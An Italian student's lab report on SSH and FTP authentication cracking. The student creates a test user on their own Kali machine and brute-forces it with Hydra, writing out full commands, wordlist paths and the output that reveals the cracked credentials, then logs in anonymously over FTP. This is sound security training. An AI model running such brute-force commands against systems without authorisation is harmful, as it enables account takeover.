

## PROGETTO S6L5

### Authentication cracking con Hydra

1.

Qui sto aggiungendo un nuovo utente chiamato "test\_user" al mio sistema Kali Linux. Ho impostato una password e inserito alcune informazioni di base. Alla fine, l'utente è stato creato e aggiunto al gruppo users.

```
(kali@kali)-[~]
$ sudo adduser test_user
info: Aggiunta dell'utente «test_user» ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Aggiunta del nuovo gruppo «test_user» (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creazione della directory home «/home/test_user» ...
info: Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
Nome completo []:
Stanza n° []:
Numero telefonico di lavoro []:
Numero telefonico di casa []:
Altro []:
Le informazioni sono corrette? [S/n] s
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Aggiunta dell'utente «test_user» al gruppo «users» ...
```

2.

Qui sto avviando il servizio SSH sul mio Kali Linux con il comando `sudo service ssh start`. Questo mi permette di connettermi al mio computer in modo sicuro da remoto. Vedo anche l'indirizzo IP da cui ho effettuato l'ultimo accesso.

```
(kali@kali)-[~]
$ sudo service ssh start

(kali@kali)-[~]
$ ssh test_user@192.168.1.17
test_user@192.168.1.17's password:
Linux kali 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri May 9 17:32:43 2025 from 192.168.1.17
```

3.

Sto usando Hydra per provare a indovinare le credenziali SSH per l'indirizzo 192.168.1.17.

Ho usato due comandi diversi: uno con liste di username e password e l'altro specificando direttamente le credenziali. In entrambi i casi, Hydra ha trovato la combinazione corretta -> test\_user e testpass

```
(kali@kali)~$ hydra -l username_list.txt -P passworduser.txt 192.168.1.17 -t 2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 16:36:12
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 2 tasks per 1 server, overall 2 tasks, 56 login tries (l:8/p:7), ~28 tries per task
[DATA] attacking ssh://192.168.1.17:22/
[STATUS] 37.00 tries/min, 37 tries in 00:01h, 19 to do in 00:01h, 2 active
[22][ssh] host: 192.168.1.17 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 16:37:50

(kali@kali)~$ hydra -l test_user -p testpass 192.168.1.17 -t 2 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 16:38:50
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.1.17:22/
[22][ssh] host: 192.168.1.17 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 16:38:50
```

4.

Questa volta sto usando una lista di password molto grande per tentare l'accesso SSH all'indirizzo 192.168.1.17. Vedendo tanti tentativi falliti, dimostra come funziona un attacco di forza bruta.

```
(kali@kali)~$ hydra -L /usr/share/seclists/Username/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.17 -t 4 -V ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 16:32:16
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.1.17:22/
[ATTNPT] target 192.168.1.17 - login 'info' - pass '123456' - 1 of 8295455000000 [child 0] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'password' - 2 of 8295455000000 [child 1] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '12345678' - 3 of 8295455000000 [child 2] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'qwerty' - 4 of 8295455000000 [child 3] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '123456789' - 5 of 8295455000000 [child 0] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '12345' - 6 of 8295455000000 [child 1] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '1234' - 7 of 8295455000000 [child 3] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '111111' - 8 of 8295455000000 [child 2] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '1234567' - 9 of 8295455000000 [child 0] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'dragon' - 10 of 8295455000000 [child 1] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '123123' - 11 of 8295455000000 [child 3] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'baseball' - 12 of 8295455000000 [child 2] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'abc123' - 13 of 8295455000000 [child 0] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'football' - 14 of 8295455000000 [child 1] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'monkey' - 15 of 8295455000000 [child 3] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'letmein' - 16 of 8295455000000 [child 2] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '696969' - 17 of 8295455000000 [child 0] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'shadow' - 18 of 8295455000000 [child 1] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'master' - 19 of 8295455000000 [child 3] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '666666' - 20 of 8295455000000 [child 2] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'qwertyuiop' - 21 of 8295455000000 [child 0] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '123321' - 22 of 8295455000000 [child 1] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass 'mustang' - 23 of 8295455000000 [child 3] (0/0)
[ATTNPT] target 192.168.1.17 - login 'info' - pass '1234567890' - 24 of 8295455000000 [child 2] (0/0)
```

5.

Qui mi sto connettendo a un server FTP all'indirizzo 192.168.1.17 usando il comando ftp. Ho provato ad accedere come utente anonimo e il login è riuscito. quando ho provato a vedere nelle directory con comandi come cd, ho avuto degli errori.

```
File Azioni Modifica Visualizza Aiuto
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~]
$ ftp 192.168.1.17
Connected to 192.168.1.17.
220 (vsFTPd 3.0.5)
Name (192.168.1.17:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40687|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> pwd
Remote directory: /
ftp> cd /home
550 Failed to change directory.
ftp> cd/home
?Invalid command.
ftp> ls
229 Entering Extended Passive Mode (|||46085|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd
(remote-directory) GET
550 Failed to change directory.
ftp> cd
(remote-directory) /home
550 Failed to change directory.
ftp> cd
(remote-directory) pud
550 Failed to change directory.
ftp> █
```

Dopo tanti tentativi e qualche consiglio del prof, con il comando 'pwd' ho voluto sapere in quale cartella remota mi trovavo, e la risposta è stata la radice (slash).

Poi, ho dato ls -la per vedere tutti i file e le cartelle presenti lì, inclusi quelli nascosti, con i relativi permessi, proprietari, dimensioni e date. Ho visto due directory.

Successivamente, ho provato a spostarmi nella cartella public con cd public, ma purtroppo il server mi ha risposto con un errore "550 Failed to change directory.". Quindi, non sono riuscito a entrare in quella cartella. Ho comunque provato a dare di nuovo ls -la, ma ovviamente la lista delle directory è rimasta la stessa, visto che non mi ero spostato.

Infine, ho tentato di scaricare il file `users.txt.bk` con il comando `get users.txt.bk`. Anche in questo caso, ho ricevuto lo stesso errore, quindi non sono riuscito a scaricare il file.